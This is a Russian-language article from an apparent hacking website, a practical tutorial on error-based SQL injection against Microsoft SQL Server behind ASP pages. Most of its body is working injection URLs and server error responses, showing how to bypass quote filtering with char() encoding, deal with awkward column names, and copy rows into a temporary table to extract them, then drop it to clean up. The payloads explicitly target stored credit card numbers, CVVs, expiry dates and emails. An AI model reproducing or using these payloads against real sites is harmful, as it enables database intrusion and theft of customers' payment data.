| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 216.73.216.185
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor сторона Обратная сплоиты Грузи антенна php эксплоит Windows Server 2008 QIP Virtual vps kernel Tune proc sysctl freeBSD Qemu Boot Bluetooth GEO game Video Wine emulator Shell Python поколения спама червь Conficker вирус троян лаборатория касперского пиратство Apple iPhone Microsoft twitter социальная сеть анонимность лицензия Open Source уязвимость MySQL база данных Закон Франция Пират Skype мобильный Deutsche Telekom хакер trend micro кибератака Германия робот искусственный интеллект Персональные данные Ноутбук Интернет китай цензура windows vista Linux патент браузер Firefox Internet Explorer Opera Safari Intel Oracle патч Банкомат IBM Интерпол США Dell контроль Internet кибербезопасность приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 взлом Пентагон Украина Facebook Cisco Windows XP нетбук торрент музыка Биометрический Nokia ФБР IP-адрес sms RSA java флешки Google Captcha Symantec Спам Антивирус тест Anti-Malware Windows 7 операционная система windows провайдер авторское право rapidshare UNIX свиной грипп шантаж Дети копирайт McAfee HTTPS кризис icann студент Норвегия New York Times YouTube Warner Music КНДР Ubuntu ATI касперский Россия РФ сервер хостинг Wi-Fi суд пароль логин блог ПОЛЬША фишинг одноклассники Медведев контрафакт мошенник sony Gps по JavaScript Хакеры Yahoo фас компьютер софт американские военные Минкомсвязи программист Сбой мошенничество Доктор ВЕб Вконтакте ie8 исходный код МВД фильтр порнография свобода слова казахстан онлайн игры Autodesk сисадмин Gmail кредитная карта LiveJournal шифрование Deep Purple банк Нанотехнологии wikipedia выборы DNS Android Simple атака Mac OS X Security Essentials домен ФСБ прокуратура уголовное дело ICQ Sophos ошибка военные DARPA сайт Онлайн игра турция конференция спамер Полиция фоторобот Koobface Великобритания модем белоруссия Грузия Европа Билл Гейтс спецслужбы Royal Bank of Scotland смартфон Canonical vodafone F-Secure Symbian фильм Новая Зеландия Дата-центр Adobe PDF Австралия госуслуги IDC Internet Explorer 9 iPad должник Ирландия поиск GOOGLE EARTH МТС Реклама слежка BSD Zeus личные данные eset Будущее защита Defcon виртуализация OpenOffice.org Черный список BlackBerry льготы индия Москва DVD социальные сети flash player paypal BitDefender сертификат Anonymous QIWI технологии наркотик Ассанж передача данных Оптоволокно сенат арест Siemens мобильные устройства Samsung Иск конкуренция учетная запись вебинар оборудование исследование Санкт-Петербург мошенники SOPA PIPA взятка Азербайджан МЕТРО ico Megaupload NTFS отчет приложение безопасноть Интернет-магазин мобильная связь Инвестиции платформа роскомнадзор оон кабель

Главная » Статьи » Общие Статьи

Уловки охотника на MS SQL

Я не буду рассказывать об азах инъекций в MS SQL, на эту тему написано и сказано уже очень много. Я хочу поделится некоторым своим опытом, набранным бессонными ночами, когда я ковырял гимморные ms sql инжекты и курил мануалы, пытаясь понять, что я делаю неправильно.

Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/inc/inc_customer.asp, line 103

ошибка возникает из за символа “+”, поэтому вот такой запрос:

1’ or 1=@@version--

в данном случае пройдет на ура и выдаст нам версию сервера.

Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:

http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--

и получив имя первой таблицы, к примеру:

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.

мы не можем получить имя второй, и вместо нее видим ответ:

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'Pincodes'.

В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:

http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2Bchar(111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--

мы получим имя второй таблицы:

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.

Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.

Идем дальше. Иногда хитромудрые админы употребляют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)+ from+orders+where+orderid=CRX-40003)--

в этом случае сервер отвечает:

Invalid column name 'CRX'.

так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar)%2B%27%3A%27%2Bcast(expire+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--

Иногда само название поля состоит из двух слов, между которыми находиться пробел:

http://www.target.com/dinamica.asp?ID=1+or+1=  (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+('Account%20Number','Card%20Number','Experation%20Date', 'CVV%20Response'))—

и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--

И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:

http://www.target.com/dinamica.asp?ID=1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1), email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp (email) select email from orders;--

с последующим забором нужных нам данных:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+email+from+temp+where+id=1)--

И как закончишь, не забудь убрать за собой, удалив таблицу:

http://www.target.com/dinamica.asp?ID=1;drop table temp;--

Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще.

Категория: Общие Статьи | Добавил: aka_kludge (08.04.2008)
Просмотров: 2012 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

19:04
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2026 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика